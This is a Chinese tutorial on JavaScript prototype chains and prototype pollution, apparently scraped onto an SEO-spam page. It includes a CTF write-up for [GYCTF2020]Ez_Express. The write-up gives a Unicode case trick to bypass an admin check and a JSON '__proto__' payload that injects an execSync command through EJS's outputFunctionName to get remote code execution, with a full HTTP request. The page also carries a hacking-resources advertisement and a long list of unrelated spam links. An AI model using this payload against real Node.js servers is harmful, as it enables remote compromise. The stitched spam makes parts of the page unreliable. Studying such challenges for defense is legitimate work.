当前位置: 首页 > news >正文

在线网站建设美食怎么做的小视频网站

在线网站建设,美食怎么做的小视频网站,网站建设制作设计开发福建,高性能网站建设进阶指南pdfNodejs与JavaScript和JSON 有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别#xff0c;如果没有node#xff0c;那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能#xff08;最出名的就是…Nodejs与JavaScript和JSON 有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别如果没有node那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能最出名的就是google的v8 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来并进行了一系列的处理最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子学过java的师傅应该就明白了。 那么JSON又是什么呢简单概括一下就是JavaScript的对象表示方法它表示的是声明对象的一种格式 由于我们从前端接收到的数据基本都是字符串因此在服务端如果要将这些字符串处理为其他格式比如对象就需要用到JSON了。 原型对象prototype与原型连接点__proto__与原型链 在c或java这些面向对象的语言中我们如果想要一个对象首先需要使用关键字class声明一个类再使用关键字new一个对象出来但是在JavaScript中没有class以及类这种概念为了简化编写JavaScript代码ECMAScript 6后增加了class语法但class其实只是一个语法糖。 在JavaScript有这么两种声明对象的方式为了好理解我们先引入类的思想。 personnew Object() person.firstnameJohn; person.lastnameDoe; person.age50; person.eyecolorblue;这种创建对象的方法还有另一种写法 如下 person{firstname:John,lastname:Doe,age:50,eyecolor:blue};这种方法通过直接实例化构造方法Object()来创建对象 function person(firstname,lastname,age,eyecolor) 这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器 {this.firstnamefirstname;this.lastnamelastname;this.ageage;this.eyecoloreyecolor; } var myFathernew person(John,Doe,50,blue); 通过这个“类”实例化对象 var myMothernew person(Sally,Rally,48,green);这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释既然是通过实例化Object来创建对象或创建构造函数在JavaScript中有两个很特殊的对象Function() 和 Object() 它们两个既是构造函数也是对象作为对象是不是应该有一个“类”去作为他们的模板呢 【----帮助网安学习以下所有学习资料免费领加v~yj009991备注“ csdn ”获取】 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC漏洞分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 对于Object()来说要声明这么一个构造函数我们可以使用关键字function来创建 。在底层 使用function创建一个函数 其实就相当于这个过程 function Object() {} 在底层为 var Object new Function();那么对于Function自己这个对象他是怎么来的呢如果用Function.__proto__和Function.prototype进行比较发现二者是全等的所以Function创造了自己也创造了Object所以JavaScript中所有函数都是对象而对象是通过函数创建的。因此构造函数.prototype.__proto__应该是Object.prototype而不是Function.prototypeFunction的作用是创建而不是继承。 那么提到了__proto__和prototype我们就来说说这两个是什么东西。 首先我们要了解以下概念 __proto__是任何一个对象拥有的属性 prototype是任何一个函数拥有的一个属性 比如 person{firstname:John,lastname:Doe,age:50,eyecolor:blue};那么这个person对象就拥有了person.__proto__这个属性而Object()我们刚才提到了是由Function创建来的一个构造函数那么Object就天生有了Object.prototype。 1.某一对象的 __proto__指向它的prototype原型对象 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype。 2.JavaScript使用prototype链实现继承机制。 3.构造函数xxx.prototype是一个对象xxx.prototype也有自己的__proto__属性并且可以继续指向它的的prototype。 4.Object.prototype.proto最终指向null这也是所有原型链的终点。 5.从一个对象的__proto__不断向上指向原型对象最终指向Objecct.prototype后接着指向为Null这一条链子就叫做原型链。 如果我们有如下代码 function Father() {this.first_name Donaldthis.last_name Trump }function Son() {this.first_name Melania }Son.prototype new Father()let son new Son() console.log(Name: ${son.first_name} ${son.last_name})那么按照上述说法 就有如下结构 对于对象son在调用son.last_name的时候实际上JavaScript引擎会进行如下操作 在对象son中寻找last_name。如果找不到则在son.__proto__中寻找last_name。如果仍然找不到则继续在son.__proto__.__proto__中寻找last_name。依次寻找直到找到null结束。 原型链污染 举个栗子 // 这个对象直接实例化Object() let foo {bar: 1}// foo.bar 此时为1 console.log(foo.bar)// 修改foo的原型即Object foo.__proto__.bar 2// 由于查找顺序的原因foo.bar仍然是1 console.log(foo.bar)// 此时再用Object创建一个空的zoo对象 let zoo {}// 查看zoo.bar console.log(zoo.bar)这里由于修改了foo.__proto__.bar 也就是修改了Object.bar因此在后续的实例化对象中新的对象会继承这一属性 造成了原型链污染。 在实际应用中哪些情况下可能存在原型链能被攻击者修改的情况呢 我们思考一下哪些情况下我们可以设置__proto__的值呢其实找找能够控制数组对象的“键名”的操作即可。 看下面代码一个简单的对象clone function merge(target, source) {for (let key in source) {if (key in source key in target) { // 如果target与source有相同的键名 则让target的键值为source的键值merge(target[key], source[key])} else {target[key] source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值}} } let o1 {} let o2 {a: 1, __proto__: {b: 2}} merge(o1, o2) console.log(o1.a, o1.b)o3 {} console.log(o3.b)这里执行后发现虽然两个对象成功clone但是Object()并没用被污染这是因为在创建o2时 __proto__是已经存在于o2中的属性了解析器并不能将这个属性解析为键值所以要用JSON去修改代码前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象 这样就可以使__proto__被成功解析成键名了。 let o1 {} let o2 JSON.parse({a: 1, __proto__: {b: 2}}) merge(o1, o2) console.log(o1.a, o1.b)o3 {} console.log(o3.b)漏洞复现 [GYCTF2020]Ez_Express 进入环境之后是一个登录页面测试之后发现存在www.zip源码泄露开始审计index.js var express require(express); var router express.Router(); const isObject obj obj obj.constructor obj.constructor Object; const merge (a, b) {for (var attr in b) {if (isObject(a[attr]) isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] b[attr];}}return a } const clone (a) {return merge({}, a); } function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined }router.get(/, function (req, res) {if(!req.session.user){res.redirect(/login);}res.outputFunctionNameundefined;res.render(index,data{user:req.session.user.user}); });router.get(/login, function (req, res) {res.render(login); });router.post(/login, function (req, res) {if(req.body.Submitregister){if(safeKeyword(req.body.userid)){res.end(scriptalert(forbid word);history.go(-1);/script) }req.session.user{user:req.body.userid.toUpperCase(),passwd: req.body.pwd,isLogin:false}res.redirect(/); }else if(req.body.Submitlogin){if(!req.session.user){res.end(scriptalert(register first);history.go(-1);/script)}if(req.session.user.userreq.body.useridreq.body.pwdreq.session.user.passwd){req.session.user.isLogintrue;}else{res.end(scriptalert(error passwd);history.go(-1);/script)}}res.redirect(/); ; }); router.post(/action, function (req, res) {if(req.session.user.user!ADMIN){res.end(scriptalert(ADMIN is asked);history.go(-1);/script)} req.session.user.data clone(req.body);res.end(scriptalert(success);history.go(-1);/script); }); router.get(/info, function (req, res) {res.render(index,data{user:res.outputFunctionName}); }) module.exports router; 看下面两段代码 function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined } router.post(/login, function (req, res) {if(req.body.Submitregister){if(safeKeyword(req.body.userid)){res.end(scriptalert(forbid word);history.go(-1);/script) }req.session.user{user:req.body.userid.toUpperCase(),passwd: req.body.pwd,isLogin:false}res.redirect(/); }else if(req.body.Submitlogin){if(!req.session.user){res.end(scriptalert(register first);history.go(-1);/script)}if(req.session.user.userreq.body.useridreq.body.pwdreq.session.user.passwd){req.session.user.isLogintrue;}else{res.end(scriptalert(error passwd);history.go(-1);/script)}}res.redirect(/); ; });只有用admin登录才会returnkeyword 否则返回undefined返回undefined就会弹窗forbid word如果username经过toUpperCase后不能与原来的匹配或password错误就会弹窗error passwd这也是为什么题中说用户名只支持大写。 再看这段就很恶心如果username为ADMIN就不能登录又不让用admin又得用admin登录这里就用到了JavaScript大小写的漏洞。 if(req.session.user.user!ADMIN){res.end(scriptalert(ADMIN is asked);history.go(-1);/script)} 所以用ADMıN来绕过注意不是ADMiN中间那个i是一个奇怪的字符把username输入ADMıN直接注册就可以了题目环境怪怪的 有的时候ADMıN 不行就试试admın登录进去还给了flag的位置。 这里试了试没啥用继续看源码上面提到了 merge clone操作可以控制键值和键名从而达到污染。 const merge (a, b) {for (var attr in b) {if (isObject(a[attr]) isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] b[attr];}}return a }const merge (a, b) {for (var attr in b) {if (isObject(a[attr]) isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] b[attr];}}往下看找到调用clone的位置 router.post(/action, function (req, res) {if(req.session.user.user!ADMIN){res.end(scriptalert(ADMIN is asked);history.go(-1);/script)} req.session.user.data clone(req.body);res.end(scriptalert(success);history.go(-1);/script); });也就是说我们可以在action路由下通过请求体来进行污染原型链污染的位置找到了接下来就是要找到可以用来控制键名和键值的对象。 看到这段 router.get(/info, function (req, res) {res.render(index,data{user:res.outputFunctionName}); })render函数应该不陌生在模板注入攻击SSTI中很常见 这里将回显req的outputFunctionNmae渲染到了index中那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢代码跟下来我们发现并没有outputFunctionName这个东西也就是说它是我们可以用来污染原型链的载体如果把Object的prototype中加上键名为outputFunctionName键值为恶意payload的属性那么在进行模板渲染时是不是就会执行我们的恶意payload 但是我们考虑一个问题如何去修改Object的prototype 确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr我们重新回到这段代码 router.post(/action, function (req, res) {if(req.session.user.user!ADMIN){res.end(scriptalert(ADMIN is asked);history.go(-1);/script)} req.session.user.data clone(req.body);res.end(scriptalert(success);history.go(-1);/script); });发现请求体被clone到了req.session.user.data中对于req.session.user这个对象来说它的__proto__属性是不是就是Object的prototype所以我们可以修改了这个对象的__proto__从而达到目的。 req.session.user{user:req.body.userid.toUpperCase(),passwd: req.body.pwd,isLogin:false}SSTI的payload我也不是很懂反正原理都是不断调用原型对象最后找到一个可以用来rce的函数payload和CVE-2019-10744是一样的直接搬来用了。 {__proto__:{outputFunctionName:a1;return global.process.mainModule.constructor._load(child_process).execSync(cat /flag);//}}污染成功后在info路由下调用res.outputFunctionName时就像上面调用son.last_name的过程一样最终调用到了Object的outputFunctionName 并且要让__proto__为键名要用JSON格式所以要用burp拦包添加content type在进行POST传参时必须有该头 放个包做个参考记得路由和传参方式也要改 再传payload。 POST /action HTTP/1.1 Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9 Cookie: sessions%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY Content-Type: application/json Connection: close Content-Length: 137{__proto__:{outputFunctionName:a1;return global.process.mainModule.constructor._load(child_process).execSync(cat /flag);//}} 在action路由下污染成功后应该接着访问info路由进行SSTI但是不知道为啥我包发过去直接给flag了。
http://www.hkea.cn/news/14415991/

相关文章:

  • 永康网站建设制作做的网站怎么让别人也能看到
  • 湘潭交通网站如何进入一个网站开发人员工具
  • 网站服务器更换深圳燃气公司地址
  • 职业医生继续做学分市哪个网站中华商标交易网官方网站
  • 福建住房城乡建设厅网站网站制作+网站建设
  • 江苏建设会计学会网站企业管理系统定制
  • 郑州众诚建设监理有限公司网站做网站需要什么 图片视频
  • 图片设计制作网站企业宣传片汇报片拍摄
  • 住宅小区物业管理系统网站建设锡林浩特网站建设
  • 怀化网站制作建设不让人看出wordpress建的站
  • 网站快速建设做网站建设价格
  • 湘潭网站wordpress和公众号
  • 个人网站 论坛简单的网站建设模板
  • 制定一网站建设的市场定位的方案网页游戏网站链接
  • dede织梦仿站网站建设wordpress 定期删除
  • 郑州那家做网站便宜网络营销课程实训报告
  • wordpress网站第一次打开慢微信开发者工具怎么下载
  • 室内设计怎么网上接单南宁seo公司
  • 设计本网站怎么样东莞智通人才市场招聘官网
  • 个人博客网站建设选题说明软件定制开发公司官网
  • 南昌哪里有建设网站的php网站搭建
  • 外贸网站推广费用做的网站百度搜不到
  • python网站开发框架展会网站建设 服务器选择很重要
  • 网站链接怎么做二维码推广普通话绘画
  • 私人做网站建设为什么打不开建设银行网站
  • 博罗东莞网站建设网站建设咨询公司排名
  • 旅游电子商务网站的建设用wordpress搭建娱乐网
  • 高端手机网站平台计算机网络课程设计
  • 网站建设注意事项苏州网站搜索引擎优化
  • 织梦网站栏目是做什么用的wordpress进不去了